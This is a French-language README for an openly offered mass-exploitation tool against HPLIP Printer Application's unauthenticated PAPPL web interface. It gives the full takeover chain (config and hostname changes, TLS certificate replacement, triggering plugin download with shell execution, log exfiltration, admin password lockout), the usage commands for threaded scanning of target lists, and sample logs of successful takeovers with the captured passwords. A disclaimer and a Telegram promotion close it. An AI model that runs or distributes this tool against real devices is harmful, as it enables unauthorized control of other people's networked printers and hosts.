HPLIP < 3.26.6 — Prise de contrôle complète de l'administration via l'interface web PAPPL (sans authentification). Lié à CVE-2026-91097 jusqu'à CVE-2026-91106 (CVSS 9.3)
🔬 Rejoignez Telegram pour les dernières recherches sur les vulnérabilités et les publications d'exploits
Outil d'exploitation de masse ciblant l'HPLIP Printer Application (interface web basée sur PAPPL) dans toutes les versions de HPLIP antérieures à 3.26.6. L'outil exploite l'état non authentifié par défaut de l'interface web PAPPL pour réaliser une chaîne complète de prise de contrôle administrative : altération de la configuration, modification du nom d'hôte, remplacement du certificat TLS, installation du plugin HP (déclenche l'exécution shell du fichier .run sur la cible), exfiltration des journaux système et verrouillage du mot de passe administrateur.
La vulnérabilité principale est l'accès administratif non authentifié de PAPPL — l'HPLIP Printer Application est livrée avec aucun mot de passe configuré par défaut, permettant à tout attaquant réseau d'effectuer toutes les actions administratives sans authentification via l'interface web (généralement le port 8000).
De plus, la chaîne d'installation du plugin exploite des faiblesses traitées dans :
| CVE | CWE | CVSS 4.0 | Pertinence |
|---|---|---|---|
| CVE-2026-91097 | CWE-94 / CWE-787 | 7.0 | Path Traversal dans plugin.spec — l'installation du plugin déclenchée par cet outil passe par le code vulnérable de pluginhandler.py |
| CVE-2026-91102 | CWE-78 / CWE-494 | 8.4 | Téléchargement sans vérification d'intégrité — le fichier .run du plugin est téléchargé via HTTP et exécuté avec sh sur la cible |
Bulletin de sécurité HP : HPSBPI04151
| Point de terminaison | Action | Vérifié |
|---|---|---|
/security | Définir le mot de passe administrateur (prise de contrôle du compte) | ✅ |
/config | Modifier le nom DNS-SD, l'emplacement, l'organisation, le contact | ✅ |
/network | Changer le nom d'hôte du système | ✅ |
/tls-install-crt | Téléverser un certificat TLS arbitraire + clé privée | ✅ |
/plugin | Déclencher le téléchargement du plugin HP + acceptation de la licence + installation (exécute .run avec sh) | ✅ |
/logfile.txt | Lire le fichier journal complet de l'application (divulgation d'informations) | ✅ |
Découverte de la cible
│
▼
Détecter l'HPLIP Printer Application (en-tête Server + version)
│
▼
Vérifier l'état d'authentification (/security)
│
├── Mot de passe défini ──► Journalisé comme VULN (verrouillé)
│
└── Aucun mot de passe (par défaut) ──► Chaîne d'exploitation :
│
├── 1. Modifier la configuration (/config)
│ dns_sd_name, location, organization, contact_name
│ Vérifié : marqueur reflété dans la réponse
│
├── 2. Changer le nom d'hôte (/network)
│ Ancien nom d'hôte capturé, nouveau nom d'hôte défini
│ Vérifié : nouvelle valeur reflétée dans la réponse
│
├── 3. Téléverser un certificat TLS (/tls-install-crt)
│ Certificat PEM personnalisé + clé privée
│ Téléversement de fichier multipart
│
├── 4. Installer le plugin HP (/plugin)
│ Étape 1 : POST action=install-plugin (télécharge .run)
│ Étape 2 : POST action=license-accepted (exécute avec sh)
│ ⚠ CVE-2026-91097 + CVE-2026-91102
│
├── 5. Lire le fichier journal (/logfile.txt)
│ Chemins système, informations d'environnement, chemins Snap
│
└── 6. Définir le mot de passe administrateur (/security)
Verrouille tout accès non authentifié ultérieur
Achève la prise de contrôle administrative complète
pip install requests
Python 3.8+ requis. Aucune autre dépendance.
python T.py targets.txt 50
| Argument | Description | Par défaut |
|---|---|---|
targets.txt | Fichier contenant la liste des cibles (une par ligne) | Demandé |
50 | Nombre de threads simultanés | 15 |
python T.py
L'outil demandera le fichier de liste des cibles et le nombre de threads.
192.168.1.100:8000
https://10.0.0.1:8000
http://printer.local:8000
192.168.1.100
printer.example.com
8000# sont ignorées| Fichier | Contenu |
|---|---|
AdminS.txt | Prise de contrôle administrateur — mot de passe, version du serveur, carte complète des URL du panneau |
Nx_modify.txt | Modifications vérifiées de la configuration et du nom d'hôte (anciennes → nouvelles valeurs) |
Nx_upload.txt | Confirmations de téléversement de certificat TLS |
Nx_plugin.txt | Résultats d'installation du plugin HP avec état d'exécution shell |
Nx_recon.txt | Divulgation d'informations — taille du fichier journal, chemins d'environnement, version |
AdminS.txthttp://192.168.1.100:8000 | v3.22.10 | password=Nx-zD_buovl6wko0 | server=HPLIP_Printer_Application/3.22.10-13 PAPPL/1.4.9 | panel=http://192.168.1.100:8000/ | security=http://192.168.1.100:8000/security | config=http://192.168.1.100:8000/config | ...
Nx_modify.txthttp://192.168.1.100:8000/config | v3.22.10 | type=CONFIG | verified=true | dns_sd_name: 'HPLIP Printer Application' -> 'HPLIP [marker]' | location: '' -> 'Nxploited-marker'
http://192.168.1.100:8000/network | v3.22.10 | type=HOSTNAME | verified=true | old=ORIGINAL-HOST.local | new=nx-abc123
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
██████ ██ ██ ██
██ ███ ██ ██ ██
██ ██████ ███
██ █████ ██ ██
██ ████ ██ ██
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
HPLIP Printer Application │ Prise de contrôle admin + contrôle total
Affecté < 3.26.6 │ Accès non authentifié PAPPL
CVE-2026-91097 │ Path Traversal du plugin
CVE-2026-91102 │ Téléchargement du plugin sans intégrité + exécution shell
Exploité via le Web : /security /config /network /plugin /tls-install-crt /logs
Par : Nxploited ( Khaled Alenazi ) │ Telegram : @Kxploit
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
targets=4 threads=4
00:11:34 [CUPS ] http://192.168.1.100:8000 Server: HPLIP_Printer_Application/3.22.10-13
00:11:34 [VER ] http://192.168.1.100:8000 v3.22.10 < 3.26.6 AFFECTÉ
00:11:35 [PROBE ] http://192.168.1.100:8000 v3.22.10 | AUCUNE AUTH | exploitation...
00:11:36 [CFG ] http://192.168.1.100:8000 CONFIG MODIFIÉE | marker=abc12345
00:11:37 [NET ] http://192.168.1.100:8000 HOSTNAME 'OLD-HOST.local' -> 'nx-xyz789'
00:11:38 [CERT ] http://192.168.1.100:8000 CERTIFICAT TLS TÉLÉVERSÉ | marker=abc12345
00:12:03 [PLG ] http://192.168.1.100:8000 PLUGIN | freshly_installed | shell_exec=True
00:12:05 [LOG ] http://192.168.1.100:8000 logfile.txt | 19083B | env=/var/snap/hplip-printer-app/
00:12:05 [ADMIN ] http://192.168.1.100:8000 MOT DE PASSE DÉFINI | pw=Nx-zD_buovl6wko0
00:12:05 [HIT ] http://192.168.1.100:8000 v3.22.10 + CONFIG + HOSTNAME + CERT + PLUGIN + LOGS + ADMIN
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
TERMINÉ 4/4 █ HIT=4 █ VULN=0 █ SAFE=0 █ SKIP=0
▐ Prise de contrôle admin : 4 └─ AdminS.txt
▐ Modifications : 8 └─ Nx_modify.txt
▐ Téléversements de certificats : 4 └─ Nx_upload.txt
▐ Exécution de plugin : 1 └─ Nx_plugin.txt
▐ Reconnaissance / Infos : 8 └─ Nx_recon.txt
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
| Tag | Signification |
|---|---|
HIT | Exploitée avec succès — prise de contrôle administrateur obtenue |
VULN | Vulnérable mais mot de passe déjà défini (verrouillé) |
SAFE | Version ≥ 3.26.6 (corrigée) |
SKIP | Pas une HPLIP Printer Application ou inaccessible |
/var/snap/hplip-printer-app/common/sh plugin.run --keep --nox11 qui exécute le binaire officiel du plugin HP — le contenu est téléchargé depuis les serveurs HP ; l'attaquant ne contrôle pas le contenu du plugin mais déclenche son exécutionPar : Nxploited
Cet outil est fourni strictement à des fins de recherche en sécurité autorisée, de tests d'intrusion et d'éducation uniquement. L'utilisation de cet outil contre des systèmes sans autorisation écrite explicite du propriétaire du système est illégale et contraire à l'éthique. L'auteur n'assume aucune responsabilité pour tout usage abusif, dommage ou conséquence juridique résultant de l'utilisation de cet outil. Obtenez toujours une autorisation appropriée avant de mener des évaluations de sécurité. En utilisant cet outil, vous acceptez d'être seul responsable de vos actions et du respect de toutes les lois et réglementations applicables.